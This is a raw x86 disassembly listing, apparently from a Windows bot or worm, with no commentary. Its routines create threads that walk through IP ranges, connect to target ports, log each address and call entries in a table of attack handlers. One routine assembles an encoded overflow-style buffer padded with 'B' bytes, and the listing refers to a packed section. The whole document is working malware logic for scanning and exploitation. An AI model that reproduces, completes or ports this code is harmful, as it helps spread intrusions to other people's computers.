var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	dword_4280A8	; GetTickCount
		push	eax
		call	sub_41C0A8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h
		jmp	loc_40C19B
; ---------------------------------------------------------------------------


loc_40BFF6:				; CODE XREF: sub_40BFAA+1FFj
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C00C
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40BE71
		pop	ecx
		jmp	short loc_40C011
; ---------------------------------------------------------------------------


loc_40C00C:				; CODE XREF: sub_40BFAA+51j
		call	sub_40BE29


loc_40C011:				; CODE XREF: sub_40BFAA+60j
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_440B9C[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CDCF0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_433248
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_440998[ebx]
		push	eax
		call	sub_41C056
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40BF0D
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_40C190
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C0E5
		push	offset dword_4CFDA8
		call	dword_4280D4	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	dword_4CDCF0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_433220
		push	eax
		call	sub_41C056
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C0C7
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C0BB
		lea	eax, [ebp+var_140]


loc_40C0BB:				; CODE XREF: sub_40BFAA+109j
		push	eax
		push	[ebp+var_40]
		call	sub_409982
		add	esp, 14h


loc_40C0C7:				; CODE XREF: sub_40BFAA+EEj
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4157A5
		mov	[esp+2A8h+var_2A8], offset dword_4CFDA8
		call	dword_4280D0	; RtlLeaveCriticalSection
		jmp	loc_40C190
; ---------------------------------------------------------------------------


loc_40C0E5:				; CODE XREF: sub_40BFAA+BEj
		push	edi
		call	dword_4CDCF0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41C056
		mov	eax, [ebp+var_20]
		shl	eax, 6
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41C056
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C129
		lea	eax, [ebp+var_140]


loc_40C129:				; CODE XREF: sub_40BFAA+177j
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41C056
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_432A94[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C190:				; CODE XREF: sub_40BFAA+B4j
					; sub_40BFAA+136j
		push	7D0h
		call	dword_428064	; Sleep


loc_40C19B:				; CODE XREF: sub_40BFAA+47j
		mov	eax, dword_440B9C[ebx]
		cmp	dword_4CDDAC[eax*8], 0
		jnz	loc_40BFF6
		push	esi
		call	sub_40B2A3
		pop	ecx
		push	0
		call	dword_4280CC	; ExitThread
sub_40BFAA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C1BE	proc near		; DATA XREF: sub_401B66+1EA7o
					; sub_401B66+5B74o

var_20C		= dword	ptr -20Ch
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		xor	ebx, ebx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_14C]
		inc	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CDCA4	; inet_addr
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CDDA8[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40B945
		push	0Bh
		call	sub_40B1CF
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C28C
		mov	esi, offset dword_4CFDA8
		push	esi
		call	dword_4280DC	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	dword_4280D8	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_40C28C
		lea	eax, [ebp+var_1CC]
		push	offset unk_43332C
		push	eax
		call	sub_41C056
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C276
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409982
		add	esp, 14h


loc_40C276:				; CODE XREF: sub_40C1BE+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4157A5
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C28C:				; CODE XREF: sub_40C1BE+63j
					; sub_40C1BE+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, dword_428064
		mov	edi, ebx
		mov	dword_4CDDAC[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C34E


loc_40C2AA:				; CODE XREF: sub_40C1BE+18Aj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_4332F8
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40AF8D
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_440B9C[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40BFAA
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_40C365
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_4332C0
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4157A5
		add	esp, 10h


loc_40C340:				; CODE XREF: sub_40C1BE+1ACj
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C2AA


loc_40C34E:				; CODE XREF: sub_40C1BE+E6j
		cmp	[ebp+var_30], ebx
		jz	short loc_40C373
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep
		jmp	short loc_40C380
; ---------------------------------------------------------------------------


loc_40C361:				; CODE XREF: sub_40C1BE+1AAj
		push	1Eh
		call	esi	; Sleep


loc_40C365:				; CODE XREF: sub_40C1BE+159j
		cmp	[ebp+var_4], ebx
		jz	short loc_40C361
		jmp	short loc_40C340
; ---------------------------------------------------------------------------


loc_40C36C:				; CODE XREF: sub_40C1BE+1C0j
		push	7D0h
		call	esi	; Sleep


loc_40C373:				; CODE XREF: sub_40C1BE+193j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CDDAC[eax*8], 1
		jz	short loc_40C36C


loc_40C380:				; CODE XREF: sub_40C1BE+1A1j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CDDA8[eax*8]
		push	eax
		call	dword_4CDCF0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_433280
		push	eax
		call	sub_41C056
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C3CE
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409982
		add	esp, 14h


loc_40C3CE:				; CODE XREF: sub_40C1BE+1F1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4157A5
		mov	eax, [ebp+var_2C]
		mov	[esp+20Ch+var_20C], 0BB8h
		mov	dword_4CDDAC[eax*8], ebx
		call	esi	; Sleep
		push	0Bh
		call	sub_40B1CF
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C405
		push	offset dword_4CFDA8
		call	dword_4280DC	; RtlDeleteCriticalSection


loc_40C405:				; CODE XREF: sub_40C1BE+23Aj
		push	[ebp+var_2C]
		call	sub_40B2A3
		pop	ecx
		push	ebx
		call	dword_4280CC	; ExitThread
sub_40C1BE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C415	proc near		; DATA XREF: sub_40C4E2+7Bo
					; sub_40C5D3+7Bo

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	10h
		rep movsd
		xor	esi, esi
		push	0
		inc	esi
		mov	[eax+0A8h], esi
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CDC64	; ntohs
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CDCE4	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C4D3
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CDC0C	; connect
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_440BA4[ecx], esi
		jz	short loc_40C4D3
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CDCF0	; inet_ntoa
		push	eax
		mov	edi, offset dword_4D0768
		push	offset unk_433360
		push	edi
		call	sub_41C056
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409982
		push	edi
		call	sub_4157A5
		add	esp, 28h


loc_40C4D3:				; CODE XREF: sub_40C415+5Dj
					; sub_40C415+7Ej
		push	esi
		call	dword_4CDCFC	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C415	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40C4E2	proc near		; DATA XREF: sub_401B66+5F62o

var_134		= byte ptr -134h
var_B4		= byte ptr -0B4h
var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 134h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B4]
		rep movsd
		mov	esi, dword_428064
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi


loc_40C510:				; CODE XREF: sub_40C4E2+ECj
		push	[ebp+var_30]
		push	[ebp+var_20]
		call	dword_4CDCF0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_134]
		push	offset unk_433388
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_134]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_440998
		push	eax
		call	sub_41BDC0
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B4]
		push	edi
		push	eax
		push	offset sub_40C415
		push	edi
		push	edi
		call	dword_42807C	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_40C57C
		jmp	short loc_40C577
; ---------------------------------------------------------------------------


loc_40C573:				; CODE XREF: sub_40C4E2+98j
		push	32h
		call	esi	; Sleep


loc_40C577:				; CODE XREF: sub_40C4E2+8Fj
		cmp	[ebp+var_C], edi
		jz	short loc_40C573


loc_40C57C:				; CODE XREF: sub_40C4E2+8Dj
		push	[ebp+var_4]
		call	dword_42806C	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi	; Sleep
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	near ptr sub_41CAE0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CDB8C	; ntohl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CDC60	; ntohl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr sub_41CAE0
		add	esp, 0Ch
		jmp	loc_40C510
sub_40C4E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C5D3	proc near		; DATA XREF: sub_401B66+5C79o

var_130		= byte ptr -130h
var_B0		= dword	ptr -0B0h
var_AC		= byte ptr -0ACh
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, dword_428064
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi


loc_40C601:				; CODE XREF: sub_40C5D3+BCj
		push	[ebp+var_2C]
		push	[ebp+var_1C]
		call	dword_4CDCF0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_4333DC
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_130]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_20]
		imul	eax, 234h
		add	eax, offset dword_440998
		push	eax
		call	sub_41BDC0
		add	esp, 1Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_40C415
		push	edi
		push	edi
		call	dword_42807C	; CreateThread
		cmp	eax, edi
		mov	[ebp+arg_0], eax
		jz	short loc_40C66D
		jmp	short loc_40C668
; ---------------------------------------------------------------------------


loc_40C664:				; CODE XREF: sub_40C5D3+98j
		push	32h
		call	esi	; Sleep


loc_40C668:				; CODE XREF: sub_40C5D3+8Fj
		cmp	[ebp+var_8], edi
		jz	short loc_40C664


loc_40C66D:				; CODE XREF: sub_40C5D3+8Dj
		push	[ebp+arg_0]
		call	dword_42806C	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi	; Sleep
		mov	eax, [ebp+var_2C]
		cmp	eax, [ebp+var_28]
		jz	short loc_40C694
		inc	[ebp+var_2C]
		jmp	loc_40C601
; ---------------------------------------------------------------------------


loc_40C694:				; CODE XREF: sub_40C5D3+B7j
		push	[ebp+var_1C]
		call	dword_4CDCF0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_4333B0
		push	eax
		call	sub_41C056
		push	edi
		lea	eax, [ebp+var_130]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		push	[ebp+var_B0]
		call	sub_409982
		push	[ebp+var_20]
		call	sub_40B2A3
		add	esp, 24h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40C5D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C6E0	proc near		; CODE XREF: sub_40C94C+Ep
					; sub_40C94C+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40C6E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C6EA	proc near		; CODE XREF: sub_40C94C+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		push	ebx
		mov	esi, ecx
		call	sub_41BCA5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C71C
		push	ebx
		push	0
		push	edi
		call	sub_41BD60
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	near ptr sub_41CAE0
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40C71C:				; CODE XREF: sub_40C6EA+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C6EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C724	proc near		; CODE XREF: sub_40C816+18p
					; sub_40C890+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		mov	ecx, [ebp+arg_C]
		push	esi
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41BCA5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40C770
		push	edi
		push	0
		push	esi
		call	sub_41BD60
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	near ptr sub_41CAE0
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	near ptr sub_41CAE0
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40C770:				; CODE XREF: sub_40C724+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40C724	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C779	proc near		; CODE XREF: sub_40C816+5Ep
					; sub_40C816+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40C789
		push	eax
		call	sub_41B881
		pop	ecx


loc_40C789:				; CODE XREF: sub_40C779+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40C779	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C792	proc near		; CODE XREF: sub_40C816+20p
					; sub_40C8F1+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40C7BC
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		lea	ebx, [ebx+ebx+1]
		add	eax, ebx
		push	eax
		call	sub_41BCA5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C7C0


loc_40C7BC:				; CODE XREF: sub_40C792+Dj
		xor	al, al
		jmp	short loc_40C812
; ---------------------------------------------------------------------------


loc_40C7C0:				; CODE XREF: sub_40C792+28j
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		push	0
		push	edi
		call	sub_41BD60
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40C7E0
		mov	al, [esi+4]
		mov	[edi], al
		lea	eax, [edi+1]
		jmp	short loc_40C7F5
; ---------------------------------------------------------------------------


loc_40C7E0:				; CODE XREF: sub_40C792+42j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		lea	eax, [edi+3]


loc_40C7F5:				; CODE XREF: sub_40C792+4Cj
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	eax
		call	near ptr sub_41CAE0
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41B881
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40C812:				; CODE XREF: sub_40C792+2Cj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C792	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C816	proc near		; CODE XREF: sub_40C94C+89p
					; sub_40C94C+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset word_4CDB1C
		call	sub_40C724
		lea	ecx, [ebp+var_8]
		call	sub_40C792
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41BCA5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C850
		xor	al, al
		jmp	short loc_40C88C
; ---------------------------------------------------------------------------


loc_40C850:				; CODE XREF: sub_40C816+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41BD60
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	near ptr sub_41CAE0
		add	esp, 18h
		mov	ecx, esi
		call	sub_40C779
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40C779
		mov	al, 1


loc_40C88C:				; CODE XREF: sub_40C816+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40C816	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C890	proc near		; CODE XREF: sub_40C8C4+14p
					; sub_40C8E1+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40C724
		mov	ecx, esi
		call	sub_40C779
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40C890	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C8C4	proc near		; CODE XREF: sub_40C94C+F0p
					; sub_40C94C+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41B7B0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40C890
		pop	esi
		retn	4
sub_40C8C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C8E1	proc near		; CODE XREF: sub_40C92D+Bp
					; sub_40C94C+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40C890
		retn	8
sub_40C8E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8F1	proc near		; CODE XREF: sub_40C92D+16p
					; sub_40C94C+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40C792
		test	al, al
		jz	short loc_40C92A
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42DF84
		call	sub_40C724
		mov	ecx, esi
		call	sub_40C779
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40C92A:				; CODE XREF: sub_40C8F1+Fj
		pop	esi
		leave
		retn
sub_40C8F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C92D	proc near		; CODE XREF: sub_40C94C+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40C8E1
		test	al, al
		jz	short loc_40C948
		mov	ecx, esi
		call	sub_40C8F1


loc_40C948:				; CODE XREF: sub_40C92D+12j
		pop	esi
		retn	8
sub_40C92D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C94C	proc near		; CODE XREF: .packed:0040D1C5p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40C6E0
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40CC90
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40CC90
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40C6E0
		lea	ecx, [ebp+var_20]
		call	sub_40C6E0
		lea	ecx, [ebp+var_50]
		call	sub_40C6E0
		lea	ecx, [ebp+var_18]
		call	sub_40C6E0
		lea	ecx, [ebp+var_40]
		call	sub_40C6E0
		lea	ecx, [ebp+var_38]
		call	sub_40C6E0
		lea	ecx, [ebp+var_28]
		call	sub_40C6E0
		push	4
		push	offset dword_433414
		lea	ecx, [ebp+var_30]
		call	sub_40C890
		push	3
		push	offset dword_43341C
		lea	ecx, [ebp+var_30]
		call	sub_40C890
		lea	ecx, [ebp+var_30]
		call	sub_40C816
		lea	ecx, [ebp+var_30]
		call	sub_40C8F1
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40C890
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40C890
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40C890
		lea	ecx, [ebp+var_20]
		call	sub_40C816
		push	offset loc_4337A4
		lea	ecx, [ebp+var_50]
		call	sub_40C8C4
		lea	ecx, [ebp+var_50]
		call	sub_40C816
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41BD60
